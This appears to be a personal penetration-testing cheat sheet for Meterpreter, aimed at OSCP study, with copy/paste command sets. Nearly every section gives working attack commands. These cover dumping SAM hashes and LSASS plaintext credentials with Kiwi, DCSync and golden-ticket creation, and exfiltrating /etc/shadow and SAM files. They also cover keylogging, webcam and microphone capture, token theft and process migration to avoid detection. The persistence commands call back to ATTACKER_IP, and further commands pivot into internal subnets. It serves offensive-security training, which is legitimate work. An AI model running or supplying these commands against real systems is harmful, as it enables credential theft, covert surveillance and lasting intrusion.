Meterpreter

Meterpreter — Command Reference

What is Meterpreter?

Meterpreter is an advanced, dynamically extensible payload that lives entirely in memory on the target — no files written to disk by default. It communicates over an encrypted channel back to the MSF handler and provides a rich command set covering file system access, network recon, privilege escalation, pivoting, and more.

Key advantages: Encrypted comms, in-memory only, extensible with load, auto-migrates on request, native OS interaction without spawning cmd.exe.

---

📌 1) Core / Session Commands

Command	Description
help	Show all available commands
background / bg	Background the session (return to msf >)
exit / quit	Terminate the meterpreter session
sessions -i <ID>	Re-enter a backgrounded session
info	Show session info (target OS, arch, session type)
irb	Drop into an interactive Ruby shell (meterpreter extension)
pry	Drop into a Pry Ruby debugger
run <script>	Run a meterpreter script or post module
load <ext>	Load a meterpreter extension (kiwi, incognito, etc.)

---

📌 2) System Information

Command	Description
sysinfo	OS, hostname, architecture, Meterpreter type
getuid	Show current user context (DOMAIN\User on Windows)
getpid	Show the PID of the current meterpreter process
getenv <var>	Get a specific environment variable
env	List all environment variables
ps	List all running processes (PID, name, path, user, arch)
kill <PID>	Kill a process by PID
pgrep <name>	Find process PID by name
pkill <name>	Kill process(es) by name
suspend <PID>	Suspend a process

---

📌 3) Process Migration

Migration moves meterpreter into another process — useful to stabilize the session, escalate privileges, or avoid detection.

migrate <PID>                # Migrate into a specific process
migrate -N <name>            # Migrate by process name (e.g. migrate -N explorer.exe)

Why migrate?

• Exploit process may be unstable (crashes close your session)
• Target a process running as SYSTEM (e.g. lsass.exe, winlogon.exe)
• A 32-bit meterpreter in a 64-bit process causes issues — migrate to a native 64-bit process

# Common stable migration targets (Windows)
migrate -N explorer.exe      # GUI session
migrate -N svchost.exe       # Background service (check which user it runs as with ps)
migrate -N spoolsv.exe       # Print Spooler (often SYSTEM)

---

📌 4) File System Commands

Command	Description
pwd	Print working directory on target
ls	List files in current directory
cd <path>	Change directory on target
cat <file>	Print file contents
edit <file>	Open file in editor
rm <file>	Delete a file
rmdir <dir>	Remove a directory
mkdir <dir>	Create a directory
mv <src> <dst>	Move / rename a file
cp <src> <dst>	Copy a file
search -f <pattern>	Search for files by name (e.g. search -f *.txt)
search -d <dir> -f <pat>	Search in specific directory
upload <local> <remote>	Upload file from attacker to target
download <remote> <local>	Download file from target to attacker
checksum md5 <file>	Get MD5 hash of a file
checksum sha1 <file>	Get SHA1 hash

Upload / Download examples

upload /home/kali/linpeas.sh /tmp/linpeas.sh
download /etc/passwd /home/kali/loot/passwd
download C:\\Windows\\System32\\config\\SAM /home/kali/loot/SAM

---

📌 5) Shell Access

Command	Description
shell	Drop into a native OS shell (cmd.exe / /bin/sh)
execute -f <cmd>	Execute a command on target
execute -f cmd.exe -i	Interactive cmd shell
execute -f cmd.exe -H -i	Hidden interactive cmd shell
execute -f <cmd> -a "<args>"	Execute with arguments

# Get a shell and upgrade it
shell
# (now in cmd.exe / bash)
# Ctrl-Z to background, then:
sessions -u <ID>             # Upgrade back to meterpreter

---

📌 6) Network Commands

Command	Description
ipconfig / ifconfig	Show network interfaces
arp	Show ARP cache
netstat	Show active connections
route	Show routing table
portfwd add -l <lport> -r <rhost> -p <rport>	Forward local port to remote host:port
portfwd delete -l <lport>	Remove port forward
portfwd list	List all port forwards
portfwd flush	Remove all port forwards

Port forwarding example

# Forward attacker's port 3389 → target's internal RDP
portfwd add -l 3389 -r 172.16.0.10 -p 3389
 
# Now connect to localhost:3389 from attacker
xfreerdp3 /u:admin /p:password /v:127.0.0.1

---

📌 7) Privilege Escalation

Command	Description
getprivs	Show current privileges
getsystem	Attempt automatic privilege escalation to SYSTEM
getsystem -t 1	Technique 1: Named pipe impersonation
getsystem -t 2	Technique 2: Named pipe with token duplication
getsystem -t 3	Technique 3: Token duplication via thread impersonation
rev2self	Revert to original user (undo getsystem / impersonation)

# Standard privesc attempt
getsystem
 
# Verify
getuid
# Should show: NT AUTHORITY\SYSTEM

If getsystem fails, run the local exploit suggester post module: run post/multi/recon/local_exploit_suggester

---

📌 8) Token Impersonation (Incognito)

load incognito              # Load incognito extension
 
list_tokens -u              # List available user tokens
list_tokens -g              # List available group tokens
 
impersonate_token "DOMAIN\\Administrator"   # Impersonate a token
steal_token <PID>           # Steal token from a process
drop_token                  # Drop impersonated token

---

📌 9) Credential Dumping

# Requires SYSTEM or high-priv session
 
hashdump                    # Dump local SAM database (NTLM hashes)
run post/windows/gather/hashdump    # Post module version (more reliable)
run post/windows/gather/smart_hashdump  # Domain + local hashes
 
# Load Kiwi (mimikatz port)
load kiwi
 
kiwi_cmd sekurlsa::logonpasswords    # Dump plaintext creds from LSASS
kiwi_cmd lsadump::sam                # Dump SAM hashes
kiwi_cmd lsadump::secrets            # Dump LSA secrets
kiwi_cmd lsadump::dcsync /user:krbtgt  # DCSync (requires DA)
 
creds_all                   # Dump all credentials (kiwi shortcut)
creds_msv                   # NTLM hashes
creds_wdigest               # Wdigest plaintext (if enabled)
creds_kerberos              # Kerberos tickets
creds_tspkg                 # TS packages
creds_ssp                   # SSP credentials
golden_ticket_create -d DOMAIN -u USER -s DOMAIN_SID -k NTLM_HASH -t /tmp/golden.kirbi

---

📌 10) Screenshots & Keylogging

screenshot                  # Capture target's screen → saves to local file
screenshare                 # Live screen stream in browser
record_mic -d 5             # Record microphone for 5 seconds
webcam_list                 # List webcams
webcam_snap                 # Take a photo
webcam_stream               # Live webcam stream
 
keyscan_start               # Start keylogger
keyscan_dump                # Dump captured keystrokes
keyscan_stop                # Stop keylogger

---

📌 11) Persistence

# Simple persistence via startup registry key
run post/windows/manage/persistence_exe STARTUP=SCHEDULER EXE_NAME=svchost32.exe
 
# Meterpreter persistence script (older)
run persistence -h           # Show options
run persistence -X -i 30 -p 4444 -r ATTACKER_IP
  # -X  → run on system startup
  # -i  → reconnect interval (seconds)
  # -p  → port
  # -r  → attacker IP

---

📌 12) Pivoting (Routing)

# Add a route through the meterpreter session to reach internal subnet
run post/multi/manage/autoroute         # Auto-add routes for all subnets
run post/multi/manage/autoroute SUBNET=172.16.0.0/24   # Specific subnet
 
# Or from msfconsole:
route add 172.16.0.0/24 <session_ID>
route print              # Show routing table
route remove 172.16.0.0/24 <session_ID>
 
# SOCKS proxy through session (for tools outside MSF)
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
# Then configure proxychains to use 127.0.0.1:1080

---

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Immediately after landing meterpreter
sysinfo
getuid
getpid
ps
 
# Go SYSTEM
getsystem
getuid
 
# Dump hashes
hashdump
 
# Enumerate network (find pivot targets)
ipconfig
arp
route
 
# Upload / download
upload /home/kali/linpeas.sh /tmp/
download /etc/shadow /home/kali/loot/
 
# Background session
background
 
# Port forward (pivot to internal host)
portfwd add -l 445 -r 172.16.0.5 -p 445
 
# Add route for subnet (pivot with MSF modules)
run post/multi/manage/autoroute

---

Related Tools

• Msfconsole
• Msfvenom
• Impacket
• Mimikatz

Related Notes

• MetaSploit
• Msfconsole
• Msfvenom
• Post-Exploitation
• Payloads
• Windows PrivEsc
• LatMovement
• Shells
• Chisel
• Training